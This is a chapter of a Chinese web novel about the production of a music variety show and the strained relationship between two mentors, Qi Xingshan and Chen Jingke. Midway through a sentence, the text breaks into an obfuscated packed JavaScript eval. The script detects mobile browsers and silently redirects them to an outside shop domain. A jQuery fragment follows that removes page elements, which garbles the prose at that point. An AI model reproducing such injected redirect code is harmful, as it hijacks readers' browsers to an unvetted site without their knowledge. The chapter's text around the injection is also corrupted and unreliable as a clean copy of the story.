第二期下半的拍摄地点转回了市区，周见舒没联系好人，翻了半个办公室也没找到预约的合同，只好硬着头皮和海市本地的工作室签。
好巧不巧，撞上某知名时尚季刊的夏秋系列拍摄。
mv取景地取景地只能在影棚，四组四间，每组又有不同的场地要求，布景取材更是麻烦。没拿出预约，拖了快两天才和工作室交涉好。
他在拍摄间隙打字质问，辛唯那边轻飘飘回了句：
我的剧本里，第一首歌是外出取景，没做室内预案，麻烦你了。
助理颤巍巍给他送来杯凉茶，眼眶红了一圈：“周导，茶。”
整个项目组噤若寒蝉。周见舒见了嘉宾还好，其余功夫抓了项目组的谁开小差，出了但凡什么错，一顿劈头盖脸的痛骂少不了。
第一期播出，反响并不是很好，铺天盖地的行客词条转移了绝大部分火力，把多数路人的目光吸引过去。
以至于掩盖了某些对于赛规的抱怨，有几家媒体拐弯抹角地嘲讽注水严重，周见舒的脸色于是没有晴朗过。
那些标题写的更过分的，“主创割席，脱离本质的综艺能走多远？”“并非有瑕疵就为瑜”云云，她通通略过，半点不敢让周导瞧见。
可终归这样了，最忙的人还不是他。
安排不到位，到头来吃苦的还是嘉宾。
随着四组给出了自己的思路，作曲的事也渐渐提上日程。
但事与愿违，预先留好的录音棚和最终定下的影棚隔了快半个海市。齐行山的工作室近一些，但场地通行也要小半个小时，Lucy跟着他辗转了几天，每天上车都要大呼小叫一通。
等到副驾的摄影师拍够了素材，Lucy摘了别在领口上的麦。
她疲惫地将脸埋进掌心，惨兮兮地说：“我怎么觉得，以前选秀都没这么累呢。之前就是练舞练歌，站在镜子前磨上一天，现在虽然不至于熬到凌晨两三点，每天刚回酒店倒头就睡。”
女孩金棕的头发在夕阳的余晖下闪烁，黑发根长出来了，Lucy最近的录制都是带着帽子。
“不会是我老了吧。”她轻声喟叹，靠在皮质椅背上。
齐行山安慰她：“别这么讲，各有各的累法，节目初期是这样的，调度不过来很正常。”
如果在眼下痛苦的情景回望过去，以前的不快就能一笔勾销，那过去的痛楚算什么呢。
人不能白白经历了，然后借口轻言否认过去的自己。
Lucy被他开解，心情好了不少。明媚地朝他一笑，语气调侃：“不赖嘛，之前他们说你变了不少，我还没感觉，确实沉稳不少。”
“沉稳就好么？”
“什么？”猝不及防听到对方的回答，Lucy一默，又看齐行山表情实在认真，她道，“肯定好啊，成年人了，做人做事都要有点分寸。如果没你安排工作室，咱俩还不知道要上哪儿录歌呢。”
齐行山若有所思。
“不过。”Lucy坐直了身，车上空间不大，加之安全带束缚，她不能很便利地盘起腿，只得悻悻倒了回去。
“你才二十一，二十一岁要那么沉稳干什么。又不是所有人都像陈老师那样，出道起就给人一种老神在在的感觉。想要练就像陈老师那种泰山崩于面而不改色的大心脏，你还有好多年呢。”
Lucy二十一岁时，上有经纪人有团里的姐姐，下有队内的老幺，二十一岁吹完蜡烛，心境还和十八岁没什么两样。
即使过了好几年，她也觉得，年轻人就该有年轻人的样子，有那么多时间值得去犯错。
她突然想起来什么，找补道：“不对不对，我不是那个意思啊，陈老师非常成熟，非常可靠，我不是说他不好……”
齐行山被她逗笑了，脸上终于化出暖意，说：“别越描越黑了，我不告诉他。”
Lucy和他随口闲聊，不多时没了声，齐行山看过去，她却已经靠在玻璃上睡着了。
他目光移向窗外。
港城的街头与这里不太像，海市有种说不出来的陌生，但同样高楼林立，看久了，的确难分他乡故乡。
陈竟客最近不怎么理人。准确而言，是不怎么理他。
事情和齐行山预料的差别太大。
昨天陈竟客坐在他边上写剧本分镜，他写歌。场景实在太熟悉，他没忍住，多借机拿话蹭了几句陈竟客。
对方听完也没生气，把本子翻了一页，淡淡道：“如果你真有这么多话说，可以去外面找棵树说给它听，树听不见不会反驳你，但我听得见。”
话落几秒钟，陈竟客后知后觉发现自己失态，向他道歉：“不好意思，我语气太重了。”
甚至齐行山本人都没觉察出什么不对。
午饭也没见他吃多少，匆匆忙忙撂下一句“失陪”，影子都消失的无影无踪。
休息室敞开了条缝，齐行山没推开门，只是从中望着他的背影。
陈竟客有他自己的树。
严格而言，陈竟客对他有过很多次失态。不过以往他还有资格去接受去安慰，心安理得接受陈竟客感激后的吻。
熟悉的人背对着门，撑在镜台上，手死死攥成拳，指节都发白，留下手背上的青筋格外明显。
等他再出来，又会恢复如常，成为平时那个言笑晏晏的陈老师。
齐行山为他带上门。
他和陈竟客隔了七年，倘若七年后，他真的也愿意变成这样的沉稳吗？
司机前座出声提醒，“齐特导，到了。”
到了场地，Lucy刚露面，即刻被站在门口翘首以盼等着她的金珊娜抓走，摄影组的导师在给朋友打电话，见到齐行山，向他点头示意。
出于礼貌，他问了句：“蒋老师，录制怎么样了？”
蒋和灼正好挂断电话，愁没人分享自己的天才构思，长臂一揽。
又由于他没有齐行山高，整个人像努力攀着树的小猴，引得周围人阵阵发笑。
蒋和灼毫不在意逗乐了一片身边的工作人员。他就这么姿势古怪地领着齐行山进场，一路上滔滔不绝，听得齐行山每隔几句话停下来，回忆和前几句有什么联系。
摄影棚空旷，空到齐行山都有些忘记了之前这里有什么，四周甚至天花板都挂满了黑布，正中央摆正了座黑色的环形装置。
认真看去，是一个精美的银河系微缩模型。
点点星辰发出的光很微弱，排列的不均匀，零散环绕彼此，中心还在缓慢运动，向内坍缩旋转。
“怎么样老弟，”蒋和灼显然得意的不行，不等人询问，立刻介绍起自己废了多少心血，“这可是我找了研究动力学的朋友，人家帮我调了老久的平衡了，做的和真的一样！”
想到纯黑，很少有人直接会联想到宇宙，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909635|213085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
光有波长，人的肉眼可以观测到，所以往往忽略了背景的冷寂。蒋和灼绞尽脑汁，最终拿出个这么出人意料的方案。
他都想好了，第一个场景，就是学员站在模型前，身后是面白墙，墙上宇宙的照片排列成片，远处看过去只有黑色。
在一整片纯黑的房间里，这个环状模型显得格外袖珍脆弱，齐行山伸手凑近，在他的手背上辉映出少许流光。
一个袖珍的宇宙。
“……所以我说，要那种，太空交响乐的浩瀚。浩瀚你懂吗，那种人与自然的美学，”蒋和灼已经全然陶醉在自己的艺术中，“我和Lucy那个小丫头讲，一定一定把人声往阿卡贝拉的方向靠……”
他猛然回神，才发现一个重点：“等等，Lucy那个丫头呢？”
他怎么抓着不是自己这组的齐行山唠了这么久？？
齐行山哑然失笑，给他指路：“Lucy姐一进门被金老师带走了。”
摆脱了蒋和灼的宇宙美学，去文学组那探了眼情况，文正卿那边没什么多的话。
他指导很安静，这里点一下，那里指一下，被工作人员问多了便开始结巴。静水流深，齐行山看了他写的歌词，仍是词意幽微的风格。
眼下，他手上的只剩一组。
演绎组没有安排歌词，反而为mv编排了场情景剧，以往陈竟客就是作词苦手，去年只是好在有齐行山。他安排完分镜剧情，剩下的扔给行山便是。
郑孚之的表演长处摆在那，陈竟客就为他编了出戏。
齐行山越想，心内酸涩胀大的越发嚣张，想要见到陈竟客，迎面撞上某个想什么来什么的人。
陈竟客估计上一秒还在和谁谈笑，见了他，甚至笑意都没收回去：“正好来了，我们去天台取景。”
去天台拍最后一场。
一个舞者，得了种未命名的疾病，随时随地都会莫名其妙定住。医生说，这种病没有任何方法解决，一动不动，张不了口也说不出话。
他自此成了“木头人”，失去一切，在舞台上的资格，被他人用异样的眼光看待。
最后连和朋友一起在天台上放烟花，也免不了突然定格。
故事很简单，反而对背景音乐的要求更高，在一场不能说话的mv里，只剩音乐调动观众的情绪。
第一版第二版被陈竟客打了回去，齐行山带着第三版来，也做好了回去重修的准备。
电梯下行时，他递给陈竟客另外一边蓝牙耳机：“你说前面的合奏部分我改了，钢琴不会喧宾夺主，音轨弱化没那么突出。停顿的效果也做完了，按照你的要求。”
陈竟客犹豫：“外放吧。”
共用耳机实在太亲密，他和齐行山终究不适合。
“在录节目，外放被收音录进去了。”
齐行山假装没感觉到身后的目光，他已经熟练地学会了忽略郑孚之的存在。
青年低头看他时，眼尾弧度总是莫名圆钝，像是受了什么委屈，又很惹人怜。陈竟客觉得那应该并非他的本意，也招架不住被齐行山盯的不自在。
对一个人心软太多次，硬起来也像勉强攥紧的冰沙，碰了便碎。
陈竟客准备去接，突然被一道声音打断了动作。
“等等。”
二人同时回头，郑孚之笑眯眯看着齐行山，一字一顿道：“竟客哥，似乎是我的导师才对。”